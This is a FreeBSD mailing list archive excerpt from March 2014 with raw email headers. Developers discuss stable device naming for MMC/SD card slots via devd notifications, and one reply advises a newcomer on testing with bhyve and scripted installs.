hUgRJUIBql3DzZ-hk-6J0zryuhU Message-ID: Subject: Re: [PATCH] simplebus child device probe order control via FDT (motivated by BeagleBone Black) From: Patrick Kelsey To: Warner Losh Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: "freebsd-hackers@freebsd.org" , freebsd-arm , freebsd-embedded@freebsd.org, Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 05 Mar 2014 18:55:58 -0000 On Wed, Mar 5, 2014 at 8:31 AM, Warner Losh wrote: > > On Mar 4, 2014, at 11:53 PM, Patrick Kelsey wrote: > > > > > > > > > On Tue, Mar 4, 2014 at 8:21 AM, Ian Lepore wrote: > > > > There's a standard property for mmc/sd devices, "non-removable" whose > > presence denotes things like soldered-on eMMC parts. Only one of our > > many sdhci drivers supports it right now (imx). In general the core > > part of the driver (dev/sdhci) doesn't have good support for > > insert/remove/presence detection that's handled off to the side (whether > > it's non-removable or a gpio pin). > > > > That alone doesn't solve the wider problem, though, which I think breaks > > down into two pieces. Let's say you've got two slots, call them left > > and right. You end up with these two problems... > > > > * Sometimes the right slot is mmcsd0, but it turns into mmcsd1 if > > there's a card in the left slot when I boot; I don't want it to > > change. > > > > And not just a boot-time issue, of course. If you were to remove those > two cards and then reinsert them in the opposite time-order, their device > names would swap. > > > > * I want the slot on the left to be named '1' and the right to be > > '0'. > > > > The first problem is easily solved without impacting dts in any way. We > > just wire down the relationship controllerN -> mmcN -> mmcsdN. This is > > exactly equivelent to the old ATA_STATIC_ID option in its effect -- you > > don't get to choose the names, but you know they won't change based on > > which devices are present. It could be controlled with a tunable. > > > > It's harder to envision the fix for the second part without adding an > > ad-hoc property for the devices. Even with a property I'm not sure how > > easy it would be. > > > > We should be able to assign a geographic address (controllerX:slotY) to > each mmcsd device in a given system (let's ignore for now the theoretical > possibility of multiple cards on one bus). The 'controllerX' part of the > address could be the controller's pathname from the devicetree, or an index > assigned by mmcbr machinery at attach time. The "slotY" part of the > address is assigned by the specific controller device driver using some > internally-determined fixed mapping between the assigned values and its > physical slots. This geographic address could be used to create an > additional set of /dev entries with stable names. There could be a > mechanism for user-configurable aliases for the geographical addresses. > > There's already a chance to run a script when a device is attached that > can create /dev/slot0 or /dev/slot1 that has geographical information > available to it. People use ddvd for this in the USB world all the time to > make sure that tty devices get a symlink based on their location or serial > number. > > Why is mmc so different it needs its own mechanism? > I'm laying out my view of the information that would be needed and the types of actions that would have to be taken based on that information to solve the issue. I'm not saying devd can't be the piece that is used to implement the actions (indeed, I noted devd as a potential building block for a solution in my initial response). I'm also not saying mmc needs its own mechanism, I'm saying it needs /a/ mechanism, and so far there still seems to be something missing (because it's not there, or I'm still ignorant of it). What seems to be missing is geographical addressing for mmc devices. I think what you might be saying is that the existing mmcsd add/remove code could be augmented to send devctl notifications, along the lines of: devctl_notify("MMC", "DEVICE", "ATTACH"|"DETACH", "... controller= slot= rca=") and then I and the fine author of devctl and devd would be pleased. -Patrick From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 5 20:05:02 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 532FF3EE for ; Wed, 5 Mar 2014 20:05:02 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher ADH-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 2E0CA84D for ; Wed, 5 Mar 2014 20:05:02 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 421BAB946; Wed, 5 Mar 2014 15:05:01 -0500 (EST) From: John Baldwin To: freebsd-hackers@freebsd.org, tyler@tysdomain.com Subject: Re: getting involved and contributing Date: Wed, 5 Mar 2014 14:51:45 -0500 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <53176FB4.1080908@tysdomain.com> In-Reply-To: <53176FB4.1080908@tysdomain.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201403051451.45358.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Wed, 05 Mar 2014 15:05:01 -0500 (EST) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 05 Mar 2014 20:05:02 -0000 On Wednesday, March 05, 2014 1:40:52 pm Littlefield, Tyler wrote: > Hello all: > I had a fewe questions I wanted to ask. > I'm looking for areas in which I might contribute code (c/c++, Python > etc). As I'm new to the code contribution deal, I'd like to start off > with something small if possible. My interests are mainly in security > and systems development, though I'm probably not all that great at > either. Similarly, I had a few questions: > 1) what is a free or cheap method for testing code, branches etc? I have > two systems here, but I am unable to duel boot. > 2) I could use VMWare for testing, but that limits my ability to do much > testing. Given that though, is there a way to automate the install of > BSD? Basically: I am blind and am unable to install BSD by myself > without help. Solutions exist for serial ports, but I've not really had > much great luck connecting to that through a host. If there's a solution > for a scripted install, that would be awesome. If you have a new enough machine running FreeBSD you can use bhyve (or perhaps VirtualBox) as a hypervisor and do testing inside guests. (I do this on my laptop now.) As far as scripted installs: you can write your own install script. The ZFSOnRoot wiki pages actually have a decent set of steps one needs to do a manual install. You can use that as a basis for writing your own install script that uses gpart to layout a disk image file, mounts it via mdconfig and then untars the dists into the image. -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 5 21:25:01 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9184C1A9 for ; Wed, 5 Mar 2014 21:25:01 +0000 (UTC) Received: from mail-ig0-f171.google.com (mail-ig0-f171.google.com [209.85.213.171]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 54E31F6E for ; Wed, 5 Mar 2014 21:25:01 +0000 (UTC) Received: by mail-ig0-f171.google.com with SMTP id hl1so11964139igb.4 for ; Wed, 05 Mar 2014 13:25:00 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:sender:content-type:mime-version:subject:from :in-reply-to:date:cc:content-transfer-encoding:message-id:references :to; bh=1Q85jbcZOR80W0xpcwTOj/Eq244eAbVtni/k61r9+Sc=; b=AqPutgoSxPbfSzcNKtmmdAjcj8uPyoun5h+9ieqAeZFg/WN3C06DORAmcGVC176XHp t/E98TB/4IPUDTSUzejktOueIsrNACXfAfCKVnHjtmfINcoeS8Z8wiMkc9yFjzLUSwr+ 4KazHXVWwwgwfRURgZuOGjArwEKhrpm2TObWaQ9i0ubm+GrFevO2dwHsfWRebqbBQ0Gz d6ubSGw+FUUkUBOLYfqD4DgPmfXUnqUonwqGW92hFugbSZzNWzXOe+fbEKnY8M38mJLV PZ86+xdbsaukjWCYHHuvvqPgI+cwxb5+7m24o10UHfiRLodh9T/aVj1P3YroIuCrLECt hQrg== X-Gm-Message-State: ALoCoQmADF1/TVx3x28ilViBmbnsND6cEI7JR0gK+usXz94NBN9srCvbMwkdqmvJcFjgx+BRLqbZ X-Received: by 10.43.170.193 with SMTP id nr1mr2457087icc.82.1394054700459; Wed, 05 Mar 2014 13:25:00 -0800 (PST) Received: from netflix-mac.bsdimp.com (50-78-194-198-static.hfc.comcastbusiness.net. [50.78.194.198]) by mx.google.com with ESMTPSA id f1sm17122264igy.2.2014.03.05.13.24.59 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 05 Mar 2014 13:24:59 -0800 (PST) Sender: Warner Losh Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: [PATCH] simplebus child device probe order control via FDT (motivated by BeagleBone Black) From: Warner Losh In-Reply-To: Date: Wed, 5 Mar 2014 14:24:57 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: <16A5203B-B06D-4129-A54F-F34D5FA28D2B@bsdimp.com> References: <7C2B7036-51CC-4C97-80C4-0A439874357D@bsdimp.com> <1393939277.1149.300.camel@revolution.hippie.lan> <438620C4-7712-4B01-A46F-CB57946A30BF@bsdimp.com> To: Patrick Kelsey X-Mailer: Apple Mail (2.1874) Cc: "freebsd-hackers@freebsd.org" , freebsd-arm , freebsd-embedded@freebsd.org, Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 05 Mar 2014 21:25:01 -0000 On Mar 5, 2014, at 11:55 AM, Patrick Kelsey wrote: >=20 >=20 >=20 > On Wed, Mar 5, 2014 at 8:31 AM, Warner Losh wrote: >=20 > On Mar 4, 2014, at 11:53 PM, Patrick Kelsey wrote: >=20 > > > > > > > > On Tue, Mar 4, 2014 at 8:21 AM, Ian Lepore wrote: > > > > There's a standard property for mmc/sd devices, "non-removable" = whose > > presence denotes things like soldered-on eMMC parts. Only one of = our > > many sdhci drivers supports it right now (imx). In general the core > > part of the driver (dev/sdhci) doesn't have good support for > > insert/remove/presence detection that's handled off to the side = (whether > > it's non-removable or a gpio pin). > > > > That alone doesn't solve the wider problem, though, which I think = breaks > > down into two pieces. Let's say you've got two slots, call them = left > > and right. You end up with these two problems... > > > > * Sometimes the right slot is mmcsd0, but it turns into mmcsd1 = if > > there's a card in the left slot when I boot; I don't want it = to > > change. > > > > And not just a boot-time issue, of course. If you were to remove = those two cards and then reinsert them in the opposite time-order, their = device names would swap. > > > > * I want the slot on the left to be named '1' and the right to = be > > '0'. > > > > The first problem is easily solved without impacting dts in any way. = We > > just wire down the relationship controllerN -> mmcN -> mmcsdN. This = is > > exactly equivelent to the old ATA_STATIC_ID option in its effect -- = you > > don't get to choose the names, but you know they won't change based = on > > which devices are present. It could be controlled with a tunable. > > > > It's harder to envision the fix for the second part without adding = an > > ad-hoc property for the devices. Even with a property I'm not sure = how > > easy it would be. > > > > We should be able to assign a geographic address (controllerX:slotY) = to each mmcsd device in a given system (let's ignore for now the = theoretical possibility of multiple cards on one bus). The = 'controllerX' part of the address could be the controller's pathname = from the devicetree, or an index assigned by mmcbr machinery at attach = time. The "slotY" part of the address is assigned by the specific = controller device driver using some internally-determined fixed mapping = between the assigned values and its physical slots. This geographic = address could be used to create an additional set of /dev entries with = stable names. There could be a mechanism for user-configurable aliases = for the geographical addresses. >=20 > There=92s already a chance to run a script when a device is attached = that can create /dev/slot0 or /dev/slot1 that has geographical = information available to it. People use ddvd for this in the USB world = all the time to make sure that tty devices get a symlink based on their = location or serial number. >=20 > Why is mmc so different it needs its own mechanism? >=20 > I'm laying out my view of the information that would be needed and the = types of actions that would have to be taken based on that information = to solve the issue. I'm not saying devd can't be the piece that is used = to implement the actions (indeed, I noted devd as a potential building = block for a solution in my initial response). I'm also not saying mmc = needs its own mechanism, I'm saying it needs /a/ mechanism, and so far = there still seems to be something missing (because it's not there, or = I'm still ignorant of it). >=20 > What seems to be missing is geographical addressing for mmc devices. >=20 > I think what you might be saying is that the existing mmcsd add/remove = code could be augmented to send devctl notifications, along the lines = of: >=20 > devctl_notify("MMC", "DEVICE", "ATTACH"|"DETACH", "... = controller=3D = slot=3D rca=3D") >=20 > and then I and the fine author of devctl and devd would be pleased. MMC doesn=92t need anything special here. That=92s already present. = Looking at the device tree we see on one of the platforms that=92s handy = for me to access: at91_mci0 mmc0 mmcsd0 at rca=3D0xb368 So you know that mmcsd0 is on mmc0 bus attached to at91_mci0, which is = ultimately the FDT node where things came from. There=92s not a = user-defined slot associated with this (and we should have a SLOT A vs = SLOT B as a location info for this platform, because we can have two = cards on the one bus in the MMC case), true, but for your use case I = don=92t think that you need it. We should be attaching the host = controller regardless of whether the or not there=92s a card in there, = so it will be fixed. While some additional information would be useful = to publish, I don=92t think your use case requires it=85 Warner= From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 5 21:56:05 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6C2858AA; Wed, 5 Mar 2014 21:56:05 +0000 (UTC) Received: from mail-la0-x232.google.com (mail-la0-x232.google.com [IPv6:2a00:1450:4010:c03::232]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 4B7E02BE; Wed, 5 Mar 2014 21:56:04 +0000 (UTC) Received: by mail-la0-f50.google.com with SMTP id y1so1139360lam.37 for ; Wed, 05 Mar 2014 13:56:02 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=ng7adWkPMKnLijqoT28RKh0vpUtyT+ZOZ/fwDaFiiGM=; b=xkEheOH7OouvT4awjNT3rOGk7usqHOrAqPQ4ij42FOg16Ssk9VwxpPPnwcocJ+R8yD F94Ry4jA3aQFPToQl8Sq0W1y310ljn4qc4y3w21FFA1lpHv75HmEdC9ft5O0UtON5Cc0 9V23CrDsS9w9eXFXLGOc1hrjs7HjLgQhReuheLwbSo+tIJr5j+IXWRPiJKTB7EySs8an MOnxJSmwyUda0lmfRK9nXY+6eHglqbAQ1/Qlk35taWNizHafeCeqbdFjB0W+nCVxRa7U hwwqavb0ZggV4hJ2ed664Lj9MX/28u91HsXVXDsxb2t3FuxtgbghOWCdfMPM09Q6k2Rv adgA== MIME-Version: 1.0 X-Received: by 10.152.181.37 with SMTP id dt5mr3242115lac.43.1394056562325; Wed, 05 Mar 2014 13:56:02 -0800 (PST) Sender: pkelsey@gmail.com Received: by 10.112.142.5 with HTTP; Wed, 5 Mar 2014 13:56:02 -0800 (PST) In-Reply-To: <16A5203B-B06D-4129-A54F-F34D5FA28D2B@bsdimp.com> References: <7C2B7036-51CC-4C97-80C4-0A439874357D@bsdimp.com> <1393939277.1149.300.camel@revolution.hippie.lan> <438620C4-7712-4B01-A46F-CB57946A30BF@bsdimp.com> <16A5203B-B06D-4129-A54F-F34D5FA28D2B@bsdimp.com> Date: Wed, 5 Mar 2014 16:56:02 -0500 X-Google-Sender-Auth: ZCJ9SdXeFPz5hc2HF0Hels8UoLQ Message-ID: Subject: Re: [PATCH] simplebus child device probe order control via FDT (motivated by BeagleBone Black) From: Patrick Kelsey To: Warner Losh Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: "freebsd-hackers@freebsd.org" , freebsd-arm , freebsd-embedded@freebsd.org, Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 05 Mar 2014 21:56:05 -0000 On Wed, Mar 5, 2014 at 4:24 PM, Warner Losh wrote: > > On Mar 5, 2014, at 11:55 AM, Patrick Kelsey wrote: > > > > > > > > > On Wed, Mar 5, 2014 at 8:31 AM, Warner Losh wrote: > > > > On Mar 4, 2014, at 11:53 PM, Patrick Kelsey wrote: > > > > > > > > > > > > > > On Tue, Mar 4, 2014 at 8:21 AM, Ian Lepore wrote: > > > > > > There's a standard property for mmc/sd devices, "non-removable" whose > > > presence denotes things like soldered-on eMMC parts. Only one of our > > > many sdhci drivers supports it right now (imx). In general the core > > > part of the driver (dev/sdhci) doesn't have good support for > > > insert/remove/presence detection that's handled off to the side > (whether > > > it's non-removable or a gpio pin). > > > > > > That alone doesn't solve the wider problem, though, which I think > breaks > > > down into two pieces. Let's say you've got two slots, call them left > > > and right. You end up with these two problems... > > > > > > * Sometimes the right slot is mmcsd0, but it turns into mmcsd1 if > > > there's a card in the left slot when I boot; I don't want it to > > > change. > > > > > > And not just a boot-time issue, of course. If you were to remove > those two cards and then reinsert them in the opposite time-order, their > device names would swap. > > > > > > * I want the slot on the left to be named '1' and the right to be > > > '0'. > > > > > > The first problem is easily solved without impacting dts in any way. > We > > > just wire down the relationship controllerN -> mmcN -> mmcsdN. This is > > > exactly equivelent to the old ATA_STATIC_ID option in its effect -- you > > > don't get to choose the names, but you know they won't change based on > > > which devices are present. It could be controlled with a tunable. > > > > > > It's harder to envision the fix for the second part without adding an > > > ad-hoc property for the devices. Even with a property I'm not sure how > > > easy it would be. > > > > > > We should be able to assign a geographic address (controllerX:slotY) > to each mmcsd device in a given system (let's ignore for now the > theoretical possibility of multiple cards on one bus). The 'controllerX' > part of the address could be the controller's pathname from the devicetree, > or an index assigned by mmcbr machinery at attach time. The "slotY" part > of the address is assigned by the specific controller device driver using > some internally-determined fixed mapping between the assigned values and > its physical slots. This geographic address could be used to create an > additional set of /dev entries with stable names. There could be a > mechanism for user-configurable aliases for the geographical addresses. > > > > There's already a chance to run a script when a device is attached that > can create /dev/slot0 or /dev/slot1 that has geographical information > available to it. People use ddvd for this in the USB world all the time to > make sure that tty devices get a symlink based on their location or serial > number. > > > > Why is mmc so different it needs its own mechanism? > > > > I'm laying out my view of the information that would be needed and the > types of actions that would have to be taken based on that information to > solve the issue. I'm not saying devd can't be the piece that is used to > implement the actions (indeed, I noted devd as a potential building block > for a solution in my initial response). I'm also not saying mmc needs its > own mechanism, I'm saying it needs /a/ mechanism, and so far there still > seems to be something missing (because it's not there, or I'm still > ignorant of it). > > > > What seems to be missing is geographical addressing for mmc devices. > > > > I think what you might be saying is that the existing mmcsd add/remove > code could be augmented to send devctl notifications, along the lines of: > > > > devctl_notify("MMC", "DEVICE", "ATTACH"|"DETACH", "... > controller= > slot= rca=") > > > > and then I and the fine author of devctl and devd would be pleased. > > MMC doesn't need anything special here. That's already present. Looking at > the device tree we see on one of the platforms that's handy for me to > access: > > at91_mci0 > mmc0 > mmcsd0 at rca=0xb368 > > So you know that mmcsd0 is on mmc0 bus attached to at91_mci0, which is > ultimately the FDT node where things came from. There's not a user-defined > slot associated with this (and we should have a SLOT A vs SLOT B as a > location info for this platform, because we can have two cards on the one > bus in the MMC case), true, but for your use case I don't think that you > need it. We should be attaching the host controller regardless of whether > the or not there's a card in there, so it will be fixed. While some > additional information would be useful to publish, I don't think your use > case requires it... > > The reason you need something extra here is that what is there now breaks down whenever you don't have a one-to-one mapping between controllers and buses. Any controller with more than one slot can yield something of the form: sdhci0 mmc0 mmcsd0 at rca=0xabcd mmc1 mmcsd1 at rca=0x1234 and you have no idea what physical slot in the system mmcsd0 and mmcsd1 are in. For my immediate use case, sure, I can rely on the one-to-one relationship between controllers and buses. At this point, though, rather than skate by on that happy coincidence, I'd rather invest what now seems to be a rather small amount of effort adding mmcsd devctl notifications that would cover the multiple-slots-per-controller case as well, and then build the rest of what I want on top of that information coming out of devd. On the at91 platform cited above, that allows you to connect two MMC cards to the same bus (i.e., multidrop configuration), is there any way to distinguish which card is in which physical slot? I'm still under the impression that this is the one case where we aren't going to be able to determine the physical location of every mmcsd device. -Patrick From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 5 22:44:25 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DE61789B for ; Wed, 5 Mar 2014 22:44:25 +0000 (UTC) Received: from mail-ig0-f169.google.com (mail-ig0-f169.google.com [209.85.213.169]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 9FC23927 for ; Wed, 5 Mar 2014 22:44:25 +0000 (UTC) Received: by mail-ig0-f169.google.com with SMTP id h18so9653689igc.0 for ; Wed, 05 Mar 2014 14:44:24 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:sender:content-type:mime-version:subject:from :in-reply-to:date:cc:content-transfer-encoding:message-id:references :to; bh=HOq1Ddfp1unL9wCPfgLIjB5qtYWTIUKcoPHCR3P70ZU=; b=cq5/P04TAK9wh6jVvUDSj7TuBd+ONqxdZaj6h4QjlC3lPqj52nFNcbr7+WhtGZXIHg L/ev6PrB3VRM6nbh4JmrYr9SRaL2MkOJLWx8+eeUBQfXQfazndW5CpdHM20IkOIgR7j8 MoS/aN9HOc2IK4PiuY9Zn88yCcBvgpW03J+wr3XB4srgPHQ7lqT8ot1AdUGgPUyE8i3V YzsHyvv1cAcEBLXDV5X3xZJdnO+Lqwg/OCgdVdyCJbkj2zbGmXV9u5ubhWz3iAkOHWNv /XNhEhCG/dYHYOEJ/n20CfGwNgt0Jdfz70NnpNGimwHfLEJf8ZwdtXcZu6PfH8zvhMYi V6Tw== X-Gm-Message-State: ALoCoQnoZZkVB8nIX5c283cWPYjlqry1npb/nlfObUTB6y31YzZqV7fSu6mdssHn4K68T/vizNIA X-Received: by 10.50.47.79 with SMTP id b15mr12006255ign.12.1394059464805; Wed, 05 Mar 2014 14:44:24 -0800 (PST) Received: from netflix-mac.bsdimp.com (50-78-194-198-static.hfc.comcastbusiness.net. [50.78.194.198]) by mx.google.com with ESMTPSA id f1sm17748349igy.2.2014.03.05.14.44.23 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 05 Mar 2014 14:44:24 -0800 (PST) Sender: Warner Losh Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: [PATCH] simplebus child device probe order control via FDT (motivated by BeagleBone Black) From: Warner Losh In-Reply-To: Date: Wed, 5 Mar 2014 15:44:22 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: <39ED4040-2A6A-4D85-97D5-DCDE4ECCA0EC@bsdimp.com> References: <7C2B7036-51CC-4C97-80C4-0A439874357D@bsdimp.com> <1393939277.1149.300.camel@revolution.hippie.lan> <438620C4-7712-4B01-A46F-CB57946A30BF@bsdimp.com> <16A5203B-B06D-4129-A54F-F34D5FA28D2B@bsdimp.com> To: Patrick Kelsey X-Mailer: Apple Mail (2.1874) Cc: "freebsd-hackers@freebsd.org" , freebsd-arm , freebsd-embedded@freebsd.org, Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 05 Mar 2014 22:44:25 -0000 On Mar 5, 2014, at 2:56 PM, Patrick Kelsey wrote: >=20 >=20 >=20 > On Wed, Mar 5, 2014 at 4:24 PM, Warner Losh wrote: >=20 > On Mar 5, 2014, at 11:55 AM, Patrick Kelsey wrote: >=20 > > > > > > > > On Wed, Mar 5, 2014 at 8:31 AM, Warner Losh wrote: > > > > On Mar 4, 2014, at 11:53 PM, Patrick Kelsey wrote: > > > > > > > > > > > > > > On Tue, Mar 4, 2014 at 8:21 AM, Ian Lepore = wrote: > > > > > > There's a standard property for mmc/sd devices, "non-removable" = whose > > > presence denotes things like soldered-on eMMC parts. Only one of = our > > > many sdhci drivers supports it right now (imx). In general the = core > > > part of the driver (dev/sdhci) doesn't have good support for > > > insert/remove/presence detection that's handled off to the side = (whether > > > it's non-removable or a gpio pin). > > > > > > That alone doesn't solve the wider problem, though, which I think = breaks > > > down into two pieces. Let's say you've got two slots, call them = left > > > and right. You end up with these two problems... > > > > > > * Sometimes the right slot is mmcsd0, but it turns into = mmcsd1 if > > > there's a card in the left slot when I boot; I don't want = it to > > > change. > > > > > > And not just a boot-time issue, of course. If you were to remove = those two cards and then reinsert them in the opposite time-order, their = device names would swap. > > > > > > * I want the slot on the left to be named '1' and the right = to be > > > '0'. > > > > > > The first problem is easily solved without impacting dts in any = way. We > > > just wire down the relationship controllerN -> mmcN -> mmcsdN. = This is > > > exactly equivelent to the old ATA_STATIC_ID option in its effect = -- you > > > don't get to choose the names, but you know they won't change = based on > > > which devices are present. It could be controlled with a tunable. > > > > > > It's harder to envision the fix for the second part without adding = an > > > ad-hoc property for the devices. Even with a property I'm not = sure how > > > easy it would be. > > > > > > We should be able to assign a geographic address = (controllerX:slotY) to each mmcsd device in a given system (let's ignore = for now the theoretical possibility of multiple cards on one bus). The = 'controllerX' part of the address could be the controller's pathname = from the devicetree, or an index assigned by mmcbr machinery at attach = time. The "slotY" part of the address is assigned by the specific = controller device driver using some internally-determined fixed mapping = between the assigned values and its physical slots. This geographic = address could be used to create an additional set of /dev entries with = stable names. There could be a mechanism for user-configurable aliases = for the geographical addresses. > > > > There=92s already a chance to run a script when a device is attached = that can create /dev/slot0 or /dev/slot1 that has geographical = information available to it. People use ddvd for this in the USB world = all the time to make sure that tty devices get a symlink based on their = location or serial number. > > > > Why is mmc so different it needs its own mechanism? > > > > I'm laying out my view of the information that would be needed and = the types of actions that would have to be taken based on that = information to solve the issue. I'm not saying devd can't be the piece = that is used to implement the actions (indeed, I noted devd as a = potential building block for a solution in my initial response). I'm = also not saying mmc needs its own mechanism, I'm saying it needs /a/ = mechanism, and so far there still seems to be something missing (because = it's not there, or I'm still ignorant of it). > > > > What seems to be missing is geographical addressing for mmc devices. > > > > I think what you might be saying is that the existing mmcsd = add/remove code could be augmented to send devctl notifications, along = the lines of: > > > > devctl_notify("MMC", "DEVICE", "ATTACH"|"DETACH", "... = controller=3D = slot=3D rca=3D") > > > > and then I and the fine author of devctl and devd would be pleased. >=20 > MMC doesn=92t need anything special here. That=92s already present. = Looking at the device tree we see on one of the platforms that=92s handy = for me to access: >=20 > at91_mci0 > mmc0 > mmcsd0 at rca=3D0xb368 >=20 > So you know that mmcsd0 is on mmc0 bus attached to at91_mci0, which is = ultimately the FDT node where things came from. There=92s not a = user-defined slot associated with this (and we should have a SLOT A vs = SLOT B as a location info for this platform, because we can have two = cards on the one bus in the MMC case), true, but for your use case I = don=92t think that you need it. We should be attaching the host = controller regardless of whether the or not there=92s a card in there, = so it will be fixed. While some additional information would be useful = to publish, I don=92t think your use case requires it=85 >=20 >=20 > The reason you need something extra here is that what is there now = breaks down whenever you don't have a one-to-one mapping between = controllers and buses. Any controller with more than one slot can yield = something of the form: >=20 > sdhci0 > mmc0 > mmcsd0 at rca=3D0xabcd > mmc1 > mmcsd1 at rca=3D0x1234 >=20 > and you have no idea what physical slot in the system mmcsd0 and = mmcsd1 are in. The driver isn=92t going to be able to help you, because it reports mmc0 = based on the data it gets from slot 0 status registers, and mmc1 based = on slot 1 status registers. Since there=92s no notion of how that maps = to physical hardware, the driver can=92t do anything automatically. And = since mmc on down is populated by FreeSBD, there=92s no hints in the FDT = tree for them. > For my immediate use case, sure, I can rely on the one-to-one = relationship between controllers and buses. At this point, though, = rather than skate by on that happy coincidence, I'd rather invest what = now seems to be a rather small amount of effort adding mmcsd devctl = notifications that would cover the multiple-slots-per-controller case as = well, and then build the rest of what I want on top of that information = coming out of ddvd. Trouble is, how do we know what to send with this new notification. = That=92s the part I=92m having trouble with. Where does that data come = from? And how is it different than what=92s in the device tree? > On the at91 platform cited above, that allows you to connect two MMC = cards to the same bus (i.e., multidrop configuration), is there any way = to distinguish which card is in which physical slot? I'm still under = the impression that this is the one case where we aren't going to be = able to determine the physical location of every mmcsd device. Actually, there=92s two different configurations, I believe. One that = supports two SD cards (SLOT A / SLOT B) and one that supports MMC multi = drop. The former has been tested at least once, while the latter I don=92t= think had ever been checked. Warner= From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 5 23:30:16 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id F2BA093A for ; Wed, 5 Mar 2014 23:30:16 +0000 (UTC) Received: from mail-oa0-x232.google.com (mail-oa0-x232.google.com [IPv6:2607:f8b0:4003:c02::232]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id BF15BC97 for ; Wed, 5 Mar 2014 23:30:16 +0000 (UTC) Received: by mail-oa0-f50.google.com with SMTP id i7so1817056oag.23 for ; Wed, 05 Mar 2014 15:30:16 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=PYnwYUkCEW4rACo5FTJgKl1VjtR2kM53ykXi0C1tv/w=; 